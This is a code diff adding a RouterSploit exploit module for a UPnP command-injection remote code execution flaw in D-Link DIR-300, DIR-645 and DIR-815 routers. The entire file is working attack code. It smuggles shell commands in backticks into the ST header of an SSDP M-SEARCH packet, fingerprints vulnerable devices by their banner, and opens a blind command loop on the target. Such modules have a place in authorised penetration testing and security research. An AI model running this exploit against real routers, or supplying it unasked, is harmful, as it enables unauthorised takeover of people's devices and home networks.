|
| 1 | +import socket |
| 2 | + |
| 3 | +from routersploit import ( |
| 4 | + exploits, |
| 5 | + print_success, |
| 6 | + print_status, |
| 7 | + print_error, |
| 8 | + mute, |
| 9 | + shell, |
| 10 | +) |
| 11 | + |
| 12 | + |
| 13 | +class Exploit(exploits.Exploit): |
| 14 | + """ |
| 15 | + Exploit implementation for D-Link DIR-300, DIR-645 and DIR-815 UPNP Remote Code Execution vulnerability. |
| 16 | + If the target is vulnerable, command loop is invoked that allows executing commands on the device. |
| 17 | + """ |
| 18 | + __info__ = { |
| 19 | + 'name': 'D-Link DIR-300 & DIR-645 & DIR-815 UPNP RCE', |
| 20 | + 'description': 'Module exploits D-Link DIR-300, DIR-645 and DIR-815 UPNP Remote Code Execution vulnerability which allows executing command on the device.', |
| 21 | + 'authors': [ |
| 22 | + 'Zachary Cutlip', # vulnerability discovery |
| 23 | + 'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module |
| 24 | + ], |
| 25 | + 'references': [ |
| 26 | + 'https://github.com/zcutlip/exploit-poc/tree/master/dlink/dir-815-a1/upnp-command-injection', |
| 27 | + 'http://shadow-file.blogspot.com/2013/02/dlink-dir-815-upnp-command-injection.html', |
| 28 | + 'https://www.exploit-db.com/exploits/34065/', |
| 29 | + ], |
| 30 | + 'devices': [ |
| 31 | + 'D-Link DIR-300', |
| 32 | + 'D-Link DIR-645', |
| 33 | + 'D-Link DIR-815', |
| 34 | + ] |
| 35 | + } |
| 36 | + |
| 37 | + target = exploits.Option('', 'Target IP address e.g. 192.168.1.1') |
| 38 | + |
| 39 | + def run(self): |
| 40 | + if self.check(): |
| 41 | + print_success("Target seems to be vulnerable") |
| 42 | + print_status("Invoking command loop...") |
| 43 | + print_status("It is blind command injection, response is not available") |
| 44 | + shell(self, architecture="mipsel") |
| 45 | + else: |
| 46 | + print_error("Exploit failed - target seems to be not vulnerable") |
| 47 | + |
| 48 | + def execute(self, cmd): |
| 49 | + buf = ("M-SEARCH * HTTP/1.1\r\n" |
| 50 | + "Host:239.255.255.250:1900\r\n" |
| 51 | + "ST:uuid:`" + cmd + "`\r\n" |
| 52 | + "Man:\"ssdp:discover\"\r\n" |
| 53 | + "MX:2\r\n\r\n") |
| 54 | + |
| 55 | + try: |
| 56 | + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) |
| 57 | + sock.settimeout(10) |
| 58 | + sock.connect((self.target, 1900)) |
| 59 | + sock.send(buf) |
| 60 | + sock.close() |
| 61 | + except socket.error: |
| 62 | + pass |
| 63 | + |
| 64 | + return "" |
| 65 | + |
| 66 | + @mute |
| 67 | + def check(self): |
| 68 | + buf = ("M-SEARCH * HTTP/1.1\r\n" |
| 69 | + "Host:239.255.255.250:1900\r\n" |
| 70 | + "ST:upnp:rootdevice\r\n" |
| 71 | + "Man:\"ssdp:discover\"\r\n" |
| 72 | + "MX:2\r\n\r\n") |
| 73 | + |
| 74 | + try: |
| 75 | + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) |
| 76 | + sock.settimeout(10) |
| 77 | + sock.connect((self.target, 1900)) |
| 78 | + sock.send(buf) |
| 79 | + response = sock.recv(65535) |
| 80 | + sock.close() |
| 81 | + except: |
| 82 | + return False # target is not vulnerable |
| 83 | + |
| 84 | + if "Linux, UPnP/1.0, DIR-" in response: |
| 85 | + return True # target is vulnerable |
| 86 | + |
| 87 | + return False # target is not vulnerable |
0 commit comments